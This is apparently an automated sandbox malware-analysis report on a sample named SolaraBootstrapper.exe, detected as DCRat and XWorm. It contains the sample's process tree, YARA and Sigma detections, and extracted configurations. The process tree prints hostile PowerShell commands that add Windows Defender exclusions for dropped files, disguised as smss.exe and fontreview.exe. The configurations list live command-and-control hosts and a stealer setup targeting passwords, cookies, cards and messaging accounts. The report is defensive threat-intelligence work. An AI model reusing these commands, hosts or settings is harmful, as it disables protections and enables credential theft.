Edit tour

Windows Analysis Report
SolaraBootstrapper.exe

Overview

General Information

Sample name:	SolaraBootstrapper.exe
Analysis ID:	1464656
MD5:	a3063deffb695211eacaad97e9c38936
SHA1:	22c0dcbff864ac7ab665dcaa40fa0e2f5a609d6b
SHA256:	902f94aa7222739a873f8f2805428e89822fc34842a0d731828ca0d6fce69dd6
Tags:	DCRATexe
Infos:

Detection

DCRat, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected DCRat

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops PE files with benign system names

Drops executable to a common third party application directory

Found direct / indirect Syscall (likely to bypass EDR)

Found strings related to Crypto-Mining

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: System File Execution Location Anomaly

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Binaries Write Suspicious Extensions

Suspicious execution chain found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

SolaraBootstrapper.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\SolaraBootstrapper.exe" MD5: A3063DEFFB695211EACAAD97E9C38936)

Bootstrapper.exe (PID: 7568 cmdline: "C:\Users\user\AppData\Roaming\Bootstrapper.exe" MD5: 0C88F913B456D4FC6B5836275F2A48AD)

powershell.exe (PID: 8040 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Bootstrapper.exe (PID: 7584 cmdline: "C:\ProgramData\Bootstrapper.exe" MD5: 38ABADB644A721C6526C13781F034F3C)

SolaraBootstrapper.exe (PID: 7728 cmdline: "C:\ProgramData\SolaraBootstrapper.exe" MD5: 6557BD5240397F026E675AFB78544A26)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cd57e4c171d6e8f5ea8b8f824a6a7316.exe (PID: 8236 cmdline: "C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe" MD5: D84E7F79F4F0D7074802D2D6E6F3579E)

msedgewebview2.exe (PID: 8436 cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=1 --edge-webview-custom-scheme --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=8236.8364.12592772921388262900 MD5: 9909D978B39FB7369F511D8506C17CA0)

Boostraper.bat (PID: 7608 cmdline: "C:\Users\user\AppData\Local\Temp\Boostraper.bat" MD5: 820CA8AB4B7500CE29E8A1A79B7B8D95)

wscript.exe (PID: 7680 cmdline: "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7832 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Media\3KNj5pJ.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fontreview.exe (PID: 7888 cmdline: "C:\Media\fontreview.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

powershell.exe (PID: 5728 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6772 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 8152 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7336 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7404 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7564 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1036 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\hKSsSsDflU.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

w32tm.exe (PID: 3280 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

Conhost.exe (PID: 1644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

smss.exe (PID: 1644 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

cmd.exe (PID: 7920 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\d5cQTyHbvx.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

w32tm.exe (PID: 7836 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

smss.exe (PID: 1836 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

wscript.exe (PID: 8024 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

fontreview.exe (PID: 2288 cmdline: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

fontreview.exe (PID: 3272 cmdline: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

oiDIGxjWBeQtCtbxHEXanoHsv.exe (PID: 1280 cmdline: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe MD5: D59145E6DDAD7699D0C9C5E1416229F9)

oiDIGxjWBeQtCtbxHEXanoHsv.exe (PID: 2852 cmdline: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe MD5: D59145E6DDAD7699D0C9C5E1416229F9)

smss.exe (PID: 4128 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

smss.exe (PID: 3404 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

smss.exe (PID: 3800 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

oiDIGxjWBeQtCtbxHEXanoHsv.exe (PID: 6916 cmdline: "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe" MD5: D59145E6DDAD7699D0C9C5E1416229F9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["football-emily.gl.at.ply.gg"], "Port": "39625", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Threatname: DCRat

{"SCRT": "{\"m\":\";\",\"i\":\"$\",\"9\":\" \",\"h\":\"(\",\"C\":\"*\",\"L\":\")\",\"M\":\"|\",\"Y\":\"#\",\"t\":\">\",\"I\":\"-\",\"1\":\"&\",\"6\":\",\",\"A\":\".\",\"z\":\"%\",\"W\":\"_\",\"J\":\"~\",\"3\":\"^\",\"V\":\"!\",\"F\":\"<\",\"U\":\"@\",\"Z\":\"`\"}", "PCRT": "{\"B\":\"^\",\"U\":\"!\",\"Q\":\".\",\"J\":\">\",\"D\":\";\",\"1\":\"<\",\"N\":\"$\",\"d\":\"*\",\"W\":\"(\",\"x\":\"~\",\"2\":\" \",\"0\":\"&\",\"R\":\")\",\"k\":\"-\",\"E\":\"#\",\"V\":\",\",\"c\":\"|\",\"o\":\"%\",\"F\":\"_\",\"t\":\"`\",\"G\":\"@\"}", "TAG": "", "MUTEX": "", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": ""}, "AS": true, "ASO": false, "AD": false, "H1": "http://ch02463.tw1.ru/@zd3bk5Wa3RHb1FmZlR0X", "H2": "http://ch02463.tw1.ru/@zd3bk5Wa3RHb1FmZlR0X", "T": "0"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Bootstrapper.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\ProgramData\Bootstrapper.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\ProgramData\Bootstrapper.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc488:$s6: VirtualBox 0xc3e6:$s8: Win32_ComputerSystem 0xe503:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xe5a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe6b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe1e9:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc288:$s6: VirtualBox 0xc1e6:$s8: Win32_ComputerSystem 0xe303:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xe3a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe4b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xdfe9:$cnc4: POST / HTTP/1.1
0000000A.00000002.1449178331.000000001256D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xcc5f:$s6: VirtualBox 0xcbbd:$s8: Win32_ComputerSystem 0xecda:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xed77:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xee8c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe9c0:$cnc4: POST / HTTP/1.1
00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xccef:$s6: VirtualBox 0xcc4d:$s8: Win32_ComputerSystem 0xed6a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xee07:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xef1c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea50:$cnc4: POST / HTTP/1.1
Process Memory Space: SolaraBootstrapper.exe PID: 7488	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: Bootstrapper.exe PID: 7568	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: Bootstrapper.exe PID: 7584	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: fontreview.exe PID: 7888	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontreview.exe PID: 2288	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontreview.exe PID: 3272	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 1280	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 2852	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 4128	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 3404	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 1644	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 3800	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 1836	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 6916	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
45.2.smss.exe.26be140.0.raw.unpack	INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded	Detects executables referencing many base64-encoded IR and analysis tools names	ditekSHen	0x164ec:$s4: cHJvY2V4cA 0x16e34:$s4: cHJvY2V4cA 0x1652d:$s5: cHJvY2V4cDY0 0x16e75:$s5: cHJvY2V4cDY0 0x16429:$s12: d2lyZXNoYXJr 0x16d71:$s12: d2lyZXNoYXJr 0x162d2:$s23: ZG5zcHk 0x16c1a:$s23: ZG5zcHk 0x162db:$s25: aWxzcHk 0x16c23:$s25: aWxzcHk 0x162e4:$s26: ZG90cGVla 0x16c2c:$s26: ZG90cGVla
2.0.Bootstrapper.exe.3e0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.Bootstrapper.exe.3e0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.0.Bootstrapper.exe.3e0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc488:$s6: VirtualBox 0xc3e6:$s8: Win32_ComputerSystem 0xe503:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xe5a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe6b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe1e9:$cnc4: POST / HTTP/1.1
1.2.SolaraBootstrapper.exe.401867.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.2.SolaraBootstrapper.exe.401867.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa688:$s6: VirtualBox 0xa5e6:$s8: Win32_ComputerSystem 0xc703:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xc7a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xc8b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc3e9:$cnc4: POST / HTTP/1.1
3.2.Bootstrapper.exe.4017d7.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.Bootstrapper.exe.4017d7.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.Bootstrapper.exe.4017d7.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc488:$s6: VirtualBox 0xc3e6:$s8: Win32_ComputerSystem 0xe503:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xe5a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe6b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe1e9:$cnc4: POST / HTTP/1.1
10.2.fontreview.exe.267c4e8.10.raw.unpack	INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded	Detects executables referencing many base64-encoded IR and analysis tools names	ditekSHen	0x164ec:$s4: cHJvY2V4cA 0x16e34:$s4: cHJvY2V4cA 0x1652d:$s5: cHJvY2V4cDY0 0x16e75:$s5: cHJvY2V4cDY0 0x16429:$s12: d2lyZXNoYXJr 0x16d71:$s12: d2lyZXNoYXJr 0x162d2:$s23: ZG5zcHk 0x16c1a:$s23: ZG5zcHk 0x162db:$s25: aWxzcHk 0x16c23:$s25: aWxzcHk 0x162e4:$s26: ZG90cGVla 0x16c2c:$s26: ZG90cGVla
3.2.Bootstrapper.exe.4017d7.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.Bootstrapper.exe.4017d7.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa688:$s6: VirtualBox 0xa5e6:$s8: Win32_ComputerSystem 0xc703:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xc7a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xc8b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc3e9:$cnc4: POST / HTTP/1.1
3.2.Bootstrapper.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.Bootstrapper.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xce5f:$s6: VirtualBox 0xcdbd:$s8: Win32_ComputerSystem 0xeeda:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xef77:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf08c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xebc0:$cnc4: POST / HTTP/1.1
1.2.SolaraBootstrapper.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.2.SolaraBootstrapper.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xceef:$s6: VirtualBox 0xce4d:$s8: Win32_ComputerSystem 0xef6a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf007:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf11c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xec50:$cnc4: POST / HTTP/1.1
1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc488:$s6: VirtualBox 0xc3e6:$s8: Win32_ComputerSystem 0xe503:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xe5a0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe6b5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe1e9:$cnc4: POST / HTTP/1.1
1.2.SolaraBootstrapper.exe.411867.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Media\fontreview.exe, ProcessId: 7888, TargetFilename: C:\Program Files\Uninstall Information\smss.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Bootstrapper.exe" , ParentImage: C:\Users\user\AppData\Roaming\Bootstrapper.exe, ParentProcessId: 7568, ParentProcessName: Bootstrapper.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', ProcessId: 8040, ProcessName: powershell.exe

